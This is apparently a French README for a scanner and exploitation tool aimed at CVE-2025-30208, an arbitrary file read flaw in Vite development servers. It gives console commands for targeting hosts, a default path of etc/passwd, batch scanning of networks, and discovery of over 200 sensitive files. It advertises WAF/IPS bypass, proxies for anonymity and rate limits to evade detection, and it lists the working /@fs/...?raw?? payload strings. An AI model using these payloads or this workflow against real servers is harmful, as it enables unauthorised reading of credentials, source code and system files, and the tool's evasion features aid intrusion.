🔥 Scanner de vulnérabilité de lecture arbitraire de fichiers CVE-2025-30208 pour Vite

Scanner de vulnérabilité avancé pour CVE-2025-30208 avec des fonctionnalités de niveau entreprise

Outil de test d'intrusion professionnel pour la détection de la vulnérabilité de lecture arbitraire de fichiers dans Vite

🚀 Démarrage rapide • 📋 Fonctionnalités • 🔧 Utilisation • 📊 Exemples • 🛡️ Sécurité

📖 Présentation

Il s'agit d'un scanner de vulnérabilité complet conçu pour détecter et exploiter la vulnérabilité CVE-2025-30208 dans les serveurs de développement Vite. La vulnérabilité permet un accès en lecture arbitraire à des fichiers via les points de terminaison du système de fichiers de Vite, exposant potentiellement des fichiers de configuration sensibles, du code source et des informations système.

🎯 Ce que fait cet outil

Détecte les instances Vite vulnérables à travers les réseaux
Exploite la vulnérabilité de lecture arbitraire de fichiers en toute sécurité
Découvre les fichiers sensibles et les données de configuration
Rapporte les résultats dans plusieurs formats (HTML, JSON, Console)
Gère les sessions de scan et les configurations
Gère les erreurs avec élégance grâce à des mécanismes de nouvelle tentative automatique

🏗️ Architecture modulaire

L'outil dispose désormais d'une architecture modulaire pour une meilleure maintenabilité et extensibilité :

CVE-2025-30208.py - Application principale du scanner
payloads.py - Charges utiles d'exploitation avancées (60+ variations)
sensitive_files.py - Base de données complète de fichiers sensibles (200+ fichiers)
html_template.py - Modèle de rapport HTML amélioré de style hacker

🚀 Démarrage rapide

Prérequis

pip3 install -r requirements.txt

Utilisation de base

python3 CVE-2025-30208.py

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run

📋 Fonctionnalités

🔍 Détection de vulnérabilité principale

60+ charges utiles avancées : Techniques d'exploitation complètes pour une détection maximale
Détection intelligente : Analyse intelligente des réponses pour éviter les faux positifs
Validation en temps réel : Validation continue des réponses cibles
Tests complets : Teste tous les points de terminaison vulnérables connus

🛡️ Fonctionnalités de sécurité améliorées

Prise en charge des proxys : Configuration de proxy HTTP/HTTPS pour l'anonymat
En-têtes personnalisés : Contournement des WAF/IPS avec des en-têtes HTTP personnalisés
Limitation de débit : Délais configurables pour éviter la détection
Gestion des sessions : Sauvegarde et restauration des sessions de scan
Validation des entrées : Validation complète des paramètres

🔧 Capacités avancées

Scan par lots : Scan multi-threadé de plusieurs cibles
Découverte de fichiers sensibles : Découverte automatique de 200+ fichiers sensibles
Test de connectivité : Tests de protocoles TCP/UDP/HTTP/HTTPS
Récupération d'erreurs : Nouvelles tentatives automatiques avec backoff exponentiel
Journalisation complète : Journaux détaillés avec horodatage

📊 Rapports et sortie

🎨 Rapports HTML améliorés : Beaux rapports de vulnérabilité de style hacker avec animations
Export JSON : Données structurées pour une analyse ultérieure
Sortie console : Retour d'information en temps réel avec code couleur
Fichiers journaux : Pistes d'audit détaillées
Interface Web interactive : Serveur Web intégré pour visualiser les rapports

🔧 Guide d'utilisation

1. Configuration de base

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd

CVE-2025-30208 > test

2. Test de vulnérabilité

CVE-2025-30208 > run

# Activer le mode verbeux pour une sortie détaillée
CVE-2025-30208 > verbose
CVE-2025-30208 > run

3. Scan par lots

CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch

192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[Appuyez deux fois sur Entrée pour terminer]

4. Découverte de fichiers sensibles

CVE-2025-30208 > scan

5. Configuration avancée

# Configurer le proxy
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080

# Définir des en-têtes personnalisés
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Custom Scanner"}

# Configurer la limitation de débit
CVE-2025-30208 > rate
Enter rate limit: 1.0

6. Rapport HTML amélioré

# Générer un beau rapport HTML
CVE-2025-30208 > pull

# Démarrer le serveur Web pour visualiser le rapport
CVE-2025-30208 > web

# Démarrer le serveur Web sur un port spécifique
CVE-2025-30208 > web 8081

# Arrêter le serveur Web
CVE-2025-30208 > web off

📊 Référence des commandes

Commande	Description	Exemple
`set <option> <value>`	Définir les options de configuration	`set RHOST 192.168.1.100`
`show options`	Afficher les paramètres actuels	`show options`
`edit`	Éditeur interactif d'options	`edit`
`run` / `exploit`	Exécuter le test de vulnérabilité	`run`
`batch`	Scanner plusieurs cibles par lots	`batch`
`scan`	Découvrir des fichiers sensibles	`scan`
`pull`	Exporter les résultats en HTML/JSON	`pull`
`web [on\|off\|port]`	Serveur Web pour les rapports HTML	`web 8080`
`save`	Sauvegarder la configuration de session	`save`
`load`	Charger la configuration de session	`load`
`test`	Tester la connectivité à la cible	`test`
`validate`	Valider la configuration actuelle	`validate`
`verbose`	Activer/désactiver le mode verbeux	`verbose`
`proxy`	Configurer les paramètres de proxy	`proxy`
`headers`	Définir des en-têtes HTTP personnalisés	`headers`
`rate`	Configurer la limitation de débit	`rate`
`log`	Afficher les informations de journalisation	`log`
`help` / `?`	Afficher l'aide	`help`
`exit` / `quit`	Quitter l'outil	`exit`

⚙️ Options de configuration

Option	Description	Valeur par défaut	Validation
`RHOST`	Adresse IP/nom d'hôte cible	-	Validation du nom d'hôte/IP
`RPORT`	Numéro de port cible	-	Plage de ports (1-65535)
`FILEPATH`	Chemin du fichier à tester	`etc/passwd`	Validation du chemin
`PROXY`	URL du proxy HTTP/HTTPS	-	Validation du format URL
`VERBOSE`	Activer la sortie verbeuse	`false`	Validation booléenne
`RATE_LIMIT`	Délai entre les requêtes (secondes)	`0.3`	Validation numérique
`THREADS`	Nombre de threads pour le scan par lots	`5`	Validation entière
`TIMEOUT`	Délai d'attente des requêtes (secondes)	`5`	Validation entière
`CUSTOM_HEADERS`	En-têtes HTTP personnalisés (JSON)	`{}`	Validation du format JSON

🎨 Système de charges utiles amélioré

Le scanner utilise désormais 60+ variations de charges utiles organisées dans payloads.py :

Charges utiles principales @fs

/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url

CVE-2025-30208

Populaires